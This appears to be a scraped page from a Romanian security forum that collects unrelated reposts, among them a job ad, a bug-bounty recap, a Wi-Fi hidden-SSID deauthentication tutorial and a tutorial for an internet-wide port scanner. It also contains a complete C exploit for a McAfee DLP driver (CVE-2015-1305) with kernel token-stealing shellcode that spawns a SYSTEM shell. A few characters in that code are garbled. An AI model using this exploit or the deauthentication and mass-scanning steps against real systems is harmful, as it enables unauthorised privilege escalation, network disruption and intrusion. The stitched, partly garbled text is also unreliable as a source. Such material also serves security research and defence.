[/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] How To Apply - External [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] To apply for this position, please click the 'Apply Now' button located at the top or bottom of this page. After completing the application and clicking the 'Submit Final' button, you will receive a confirmation email. Emails regarding your application status will be sent periodically. Please ensure your spam filters are configured to accept emails from noreply@nsa.gov. ***PLEASE NOTE: U.S. Citizenship is required for all applicants. Reasonable accommodations provided to applicants with disabilities during the application and hiring process where appropriate. NSA is an equal opportunity employer and abides by applicable employment laws and regulations. All applicants and employees are subject to random drug testing in accordance with Executive Order 12564. Employment is contingent upon successful completion of a security background investigation and polygraph. This position is a Defense Civilian Intelligence Personnel System (DCIPS) position in the Excepted Service under 10 U.S.C. 1601. DoD Components with DCIPS positions apply Veterans' Preference to eligible candidates as defined by Section 2108 of Title 5 USC, in accordance with the procedures provided in DoD Instruction 1400.25, Volume 2005, DCIPS Employment and Placement. If you are a veteran claiming veterans' preference, as defined by Section 2108 of Title 5 U.S.C., you must submit documents verifying your eligibility with your application package. [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] DCIPS Disclaimer [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] The National Security Agency (NSA) is part of the DoD Intelligence Community Defense Civilian Intelligence Personnel System (DCIPS). All positions in the NSA are in the Excepted Services under 10 United States Codes (USC) 1601 appointment authority.[/TD] [/TR] [/TABLE] Link: https://www.nsa.gov/psp/applyonline/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL?Page=HRS_CE_JOB_DTL&Action=A&JobOpeningId=1050361&SiteId=1&PostingSeq=1

Uncovering Hidden SSIDs By default every access point is broadcasting the SSID in the beacon frames. Sometimes network administrators might choose to configure the AP not to broadcast the SSID because they are thinking that they will avoid attacks just because if a malicious user doesn’t know that a network exist how he is going to attack it? Even though that hiding the wireless network name is a good choice however this doesn’t offer any security as it is relative easy for a determined attacker to discover it. The first step is to create a monitor mode interface in order to be able to sniff wireless packets. Enable Monitor Mode Interface Then we will use the airodump-ng mon0 in order to start capturing raw 802.11 frames which they will contain all the available wireless networks of the area. As we can see from the image below there is only one network which doesn’t broadcasting the SSID. Hidden Wireless Network Alternatively we can check the beacon frames in wireshark and we will notice that the SSID is hidden. Beacon Frames – Hidden Wireless SSID There are two ways to obtain the SSID for a wireless network that is not broadcasting. Passive Active In the passive we will have to wait for a legitimate client to connect to the access point while we are monitoring the wireless traffic and to examine the Probe Request and Probe Response packets which will contain the SSID of the network. Probe Response Packet contains the SSID This technique is stealthier than the active and it can be used in a scenario when we are attacking a corporate wireless network especially in the morning when there will be a variety of devices that will try to connect and unveil it’s presence. The other method is to send directly deauthentication packets to all the clients on behalf of the access point which in this case is the Wireless Pentest Lab. This will force all the devices that are connected to the access point to disconnect and reconnect which again Probe response packets will be generated that will reveal the cloaked SSID. We can send the deauthentication packets with the use of aireplay-ng as it can be seen below: Sending deuathentication packets The value 5 is actually the number of deauthentication packets that we want to send and the -a specifies the MAC address of the access point. As we can see in the next screenshot after the deauthentication packets the probe response packets are generated again and because of these packets are not encrypted they unveil the wireless SSID. Generation of Probe Response Packets Sursa: https://pentestlab.wordpress.com/2015/01/31/uncovering-hidden-ssids/

[h=1]JADX - Java source code from Android Dex and Apk files [/h] Lydecker Black on 12:31 PM Command line and GUI tools for produce Java source code from Android Dex and Apk files. Usage jadx[-gui] [options] <input file> (.dex, .apk, .jar or .class) options: -d, --output-dir - output directory -j, --threads-count - processing threads count -f, --fallback - make simple dump (using goto instead of 'if', 'for', etc) --cfg - save methods control flow graph to dot file --raw-cfg - save methods control flow graph (use raw instructions) -v, --verbose - verbose output -h, --help - print this help Example: jadx -d out classes.dex Download JADX Sursa: JADX - Java source code from Android Dex and Apk files | KitPloit

Nu a dorit sa se afle ce username are aici. Deci cei care stiti, pastrati pentru voi.

Am scos chat-ul pentru o perioada de timp. Era folosit doar pentru porcarii si aducea probleme pe forum: ban-uri, certuri si mai stiu eu ce. Nu veniti cu cacaturile de pe chat pe forum ca primiti direct ban. Fara offtopic, fara thread-uri de 2 lei. Nu mai sunteti copii.

Posted: Friday, January 30, 2015 Tweet Posted by Eduardo Vela Nava, Security Engineer Since 2010, our Security Reward Programs have been a cornerstone of our relationship with the security research community. These programs have been successful because of two core beliefs: Security researchers should be rewarded for helping us protect Google's users. Researchers help us understand how to make Google safer by discovering, disclosing, and helping fix vulnerabilities at a scale that’s difficult to replicate by any other means. We’re grateful for the terrific work these researchers do to help keep users safe. And so, we wanted to take a look back at 2014 to celebrate their contributions to Google, and in turn, our contributions back to them. Looking back on 2014 Our Security Reward Programs continue to grow at a rapid clip. We’ve now paid more than $4,000,000 in rewards to security researchers since 2010 across all of our reward programs, and we’re looking forward to more great years to come. In 2014: We paid researchers more than $1,500,000. Our largest single reward was $150,000. The researcher then joined us for an internship. We rewarded more than 200 different researchers. We rewarded more than 500 bugs. For Chrome, more than half of all rewarded reports for 2014 were in developer and beta versions. We were able to squash bugs before they could reach our main user population. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The top three contributors to the VRP program in 2014 during a recent visit to Google Zurich: Adrian (Romania), Tomasz (Poland / UK), Nikolai (Ukraine)[/TD] [/TR] [/TABLE] What’s new for 2015 We are announcing two additions to our programs today. First, researchers' efforts through these programs, combined with our own internal security work, make it increasingly difficult to find bugs. Of course, that's good news, but it can also be discouraging when researchers invest their time and struggle to find issues. With this in mind, today we're rolling out a new, experimental program: Vulnerability Research Grants. These are up-front awards that we will provide to researchers before they ever submit a bug. Here’s how the program works: We'll publish different types of vulnerabilities, products and services for which we want to support research beyond our normal vulnerability rewards. We'll award grants immediately before research begins, with no strings attached. Researchers then pursue the research they applied for, as usual. There will be various tiers of grants, with a maximum of $3,133.70 USD. On top of the grant, researchers are still eligible for regular rewards for the bugs they discover. To learn more about the current grants, and review your eligibility, have a look at our rules page. Second, also starting today, all mobile applications officially developed by Google on Google Play and iTunes will now be within the scope of the Vulnerability Reward Program. We’re looking forward to continuing our close partnership with the security community and rewarding them for their time and efforts in 2015! Ati ghicit, e membru RST. Sursa: http://googleonlinesecurity.blogspot.ro/2015/01/security-reward-programs-year-in-review.html

Adobe Reader X and XI for Windows out-of-bounds write in CoolType.dll Reported by mjurc.. @google.com (No comment was entered for this change.) [TABLE] [TR] [TD=width: 20] [/TD] [TD] signal_sigsegv_f753bec6_7517_6052.zip 2.0 MB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 6052.zip 1.9 MB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=144

[h=1]McAfee Data Loss Prevention Endpoint - Arbitrary Write Privilege Escalation[/h] /* Exploit Title - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation Date - 29th January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.mcafee.com Tested Version - 9.3.200.23 Driver Version - 9.3.200.23 - hdlpctrl.sys Tested on OS - 32bit Windows XP SP3 and Windows 2003 Server SP2 OSVDB - http://www.osvdb.org/show/osvdb/117345 CVE ID - CVE-2015-1305 Vendor fix url - https://kc.mcafee.com/corporate/index?page=content&id=SB10097 Fixed version - 9.3.400 Fixed driver ver - */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows Server 2003 #define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct #define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct #define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 }; BYTE token_steal_w2k3[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN 0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(?, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ?)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("McAfee Data Loss Prevention Endpoint (hdlpctrl.sys) Arbitrary Write EoP Exploit\n"); printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 3) { printf("[i] Running Windows Server 2003\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "devbkctrl"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); if (GetWindowsVersion() == 1) { memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } if (GetWindowsVersion() == 3) { memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3)); } hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00224014, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; } Sursa: http://www.exploit-db.com/exploits/35953/

NSCAN: FAST INTERNET WIDE SCANNER NSCAN: FAST INTERNET WIDE SCANNER Nscan is a fast Network scanner optimized for internet-wide scanning purposes and inspired by Masscan and Zmap. It has it's own tiny TCP/IP stack and uses Raw sockets to send TCP SYN probes. It doesn't need to set SYN Cookies so it doesn't wastes time checking if a received packet is a result of it's own scan, that makes Nscan faster than other similar scanners. Nscan has a cool feature that allows you to extend your scan by chaining found ip:port to another scripts where they might check for vulnerabilities, exploit targets, look for Proxies/VPNs... Nscan is a free tool, but consider donating here: 1Gi5Rpz5RBEUpGknSwyRgqzk7b5bQ7Abp2 Getting Nscan to Work Installing Nscan on Debian/Ubuntu boxes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]$ git clone https://github.com/OffensivePython/Nscan $ cd Nscan/nscan $ chmod +x nscan.py[/TD] [/TR] [/TABLE] Check if Nscan executes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [/TD] [TD=class: code]$ ./nscan.py Usage: nscan.py x.x.x.x/x [options] nscan.py iface load/unload : Load/Unload Nscan alias interface nscan.py resume filename.conf: resume previous scan Options: -h, --help show this help message and exit -p PORTS, --port=PORTS Port(s) number (e.g. -p21-25,80) -t THREADS, --threads=THREADS Threads used to send packets (default=1) --import=IMPORTS Nscan scripts to import (e.g. --import=ssh_key:22+check_proxy:80-85,8080) -b, --banner Fetch banners -n COUNT Number of results to get -o FILE, --output=FILE Output file -c N,T, --cooldown=N,T Every N (int) packets sent sleep P (float) (Default=1000,1)[/TD] [/TR] [/TABLE] Usage Nscan is simple to use, it works just the way you expect. If this your first run, you need to load nscan alias interface before launching a Scan ? [TABLE=width: 948] [TR] [TD=class: gutter] 1 2 3 4 5 6 [/TD] [TD=class: code]$ ./nscan.py iface load Press enter key to load nscan alias interface [....] Running /etc/init.d/networking restart is deprecated because it may not [warnable some interfaces ... (warning). [ ok ] Reconfiguring network interfaces...done. Nscan alias interface loaded: 10.0.2.16[/TD] [/TR] [/TABLE] Simple Scan To scan your local network for port 22,80: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p22,80 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [192.168.0.0 -> 192.169.0.0] (65536 hosts/2 ports) [MAIN] Starting the scan (Fri Jan 30 07:11:02 2015) ...[/TD] [/TR] [/TABLE] This scans the 65536 hosts in your local network Scanning the Entire Internet Scan the entire IPv4 address space for port 80 ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0/0 -p80[/TD] [/TR] [/TABLE] Multithreading the Scan use '-t' to specify how many sending thread you want to use, it decreases the elapsed time of the scan by n times: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3[/TD] [/TR] [/TABLE] This splits the 65536 hosts in 3 ranges (3 threads), every thread is going to scan 21845 host Grabbing banners and Saving logs in a file use '-b' to grab banners and '-o' to save logs in a file ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3 -b -o nscan.log[/TD] [/TR] [/TABLE] Scanning to find N results In order to stop the scan after receiving 10 results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p443 -b -n10[/TD] [/TR] [/TABLE] Importing Nscripts To import Nscripts, use '--import' with filename (without extension '.py') and specify the port and/or range of ports ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.161.152/24 -p1080 --import=proxy:1080 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [xxx.xxx.161.152 -> xxx.xxx.162.0] (104 hosts/1 ports) [MAIN] Starting the scan (Fri Jan 30 09:14:14 2015) [sEND] Sent: 104 packets [RECV] Received: 7 packets [MAIN] xxx.xxx.161.152:1080 [MAIN] xxx.xxx.161.173:1080 [MAIN] xxx.xxx.161.195:1080 [MAIN] xxx.xxx.161.196:1080 [MAIN] xxx.xxx.161.194:1080 [MAIN] xxx.xxx.161.239:1080 [MAIN] xxx.xxx.161.193:1080 [PROXY] xxx.xxx.161.152:1080 | SOCKS4 [PROXY] xxx.xxx.161.195:1080 | SOCKS4 [PROXY] xxx.xxx.161.196:1080 | SOCKS4 [PROXY] xxx.xxx.161.194:1080 | SOCKS4 [PROXY] xxx.xxx.161.193:1080 | SOCKS4 [MAIN] Packets sent in 0.0 minutes [MAIN] Total elapsed time: 0.7 minutes [MAIN] Done (Fri Jan 30 09:14:58 2015)[/TD] [/TR] [/TABLE] Every ip has the port 1080 open, will be chained to the Nscript proxy, which checks if a SOCKS service is running behind it. This will chain every ip:port that has the port 1080,3127,3128,3129 open: ? [TABLE=width: 679] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.xxx.xxx/xx -p8080,1080,3127-3129 --import=proxy:1080,3127-3129[/TD] [/TR] [/TABLE] P.S: Port 8080 will not be chained to the script, since it's not specified Suspending/Resuming a Scan If you have a large range of hosts to scan, and your bandwidth can't finish the scan really quick, You can suspend a scan and resume it later where it's stopped. To suspend a running scan, hit [CTRL]+C, Nscan will save where it's paused in 'resume.conf'. The resume configuration file looks something like this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 [/TD] [TD=class: code]$ cat resume.conf [NSCAN] hosts = [167772160, 184549376L] ports = [[80, 81]] threads = 1 imports = None banner = True count = None output = None indexes = [(16777216L, 4194304L, -249, 16776967L, 249)] cooldown = (1000, 1.0)[/TD] [/TR] [/TABLE] To resume a previous scan, simply type: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py resume resume.conf[/TD] [/TR] [/TABLE] Cooling Down the Transfer rate This is a very important option to regulate Nscan with your bandwidth, If you don't choose this properly, Nscan will probably knock off your router and force it to restart since it sends more traffic than your router could handle. You can specify the number of packets that needs to be sent before Nscan should cool down and sleep for a while ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 10.0.0.0./16 -p21-25,8080 --cooldown=100,0.1[/TD] [/TR] [/TABLE] This tells Nscan, "for every 100 packets sent, sleep for 0.1 second(s)" P.S: The size of one packet is 54 bytes If you have a gigabit Ethernet connection, you probably want to disable this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0./0 -p21-25,8080 --cooldown=[ANY],0[/TD] [/TR] [/TABLE] Write Your Own Nscripts Every nscan script should have a run() function, that takes two arguments: queue: queue where your script receives ip:port event: This tells your script that Nscan is completed the scan, and waiting for your script to finsish before it exits Make sure that your script is under '~/nscan/nscripts' folder. Every Nscript has this simple skeleton: ? [TABLE=width: 657] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [/TD] [TD=class: code]import Queue import logging # Import any module you need here def run(queue, event): while True: if queue.empty() and event.isSet(): # If the Scan is completed and the queue is empty (no more results) break else: try: ip, port = queue.get(False, TIMEOUT) # Should be non-blocking # Do something useful with IP:PORT except KeyboardInterrupt: # Scan suspended, should exit break except Queue.Empty: # No results pass[/TD] [/TR] [/TABLE] Use the logging module to output your results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 [/TD] [TD=class: code]SCRIPT = 'MYSCRIPT' logging.info('[{}] {}:{} | {}'.format(SCRIPT, IP, PORT, 'MY RESULTS'))[/TD] [/TR] [/TABLE] Fork me on Github Here is repository: https://github.com/OffensivePython/Nscan Contribute and Share your Nscripts Tips, Requests, Improvements to make Nscan more stable and faster are always welcome. If you want to share your Nscripts with everybody, tweet me at @offensivePython #Nscan with a link of your script, and i will add it under the nscript folder here Sursa: http://www.pythonforpentesting.com/2015/01/nscan-fast-internet-wide-scanner.html

In perioada 5-6 Februarie X, va desf??ura pentru Y, la sediu nostru un eveniment de recrutare. Acest eveniment implica un proces de recrutare rapid pentru oricine este interesat de o pozitie in X. Evenimentul costa in comasarea unei sesiuni de interviuri complete de la interviul tehnic, de HR, Project Management, discu?ia cu clientul si oferta X, comprimate in time frame-ul unei ore / 1h si jumatate de sesiuni de interviuri. Skills Required: 1. Good level of C/C++ 2. OOP, OOD principles 3. Embedded development experience (memory management, multithreading, asynchronous communications) 4. Development of UnitTests, SW functional tests for own code 5. Experience with code compiled cross platform: Fedora (PC), ARM as Target 6. QT experience is a plus 7. Automotive experience is a plus Cine e interesat imi poate da mesaj privat.

Archieves of POC201 POC2014 [TABLE=class: table table-bordered, width: 1045] [TR] [TD] Bo Qu, Royce Lu, @ga1ois, "Advanced Defense for Internet Explorer"[/TD] [TD][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Byoungyoung Lee, "Identifying Memory Corruption Bugs with Compiler Instrumentations"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Florian Grunow, "How to Own your Heart - Hacking Medical Devices"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] GilGil, "mVoIP Hacking"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] hotwing, "Hunting Zero Days in Crash Dumps"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] John C. Matherly, "Behind the Scenes of Shodan"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Karsten Nohl, "BadUSB — On accessories that turn evil"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] K-dupe, Hyunuk, Kibom, "Physical Memory File Extraction Based on File Object Analysis"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Matt, AbdulAziz, Jasiel , "Dropping the MIC (Medium Integrity Calculator): Pwning Internet Explorer for fun "[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Maxim Goncharov, "Be first to know about data breach of popular web sites"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] MJ0011, "Windows 10 Control Flow Guard Internals"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] passket & Team SNE, "Only True Love Can Thaw Frozen SCADA Systems"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Tombkeeper, "JavaScript VM breakout based exploiting"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Wei Yan, "Auto Mobile Malware, Attack 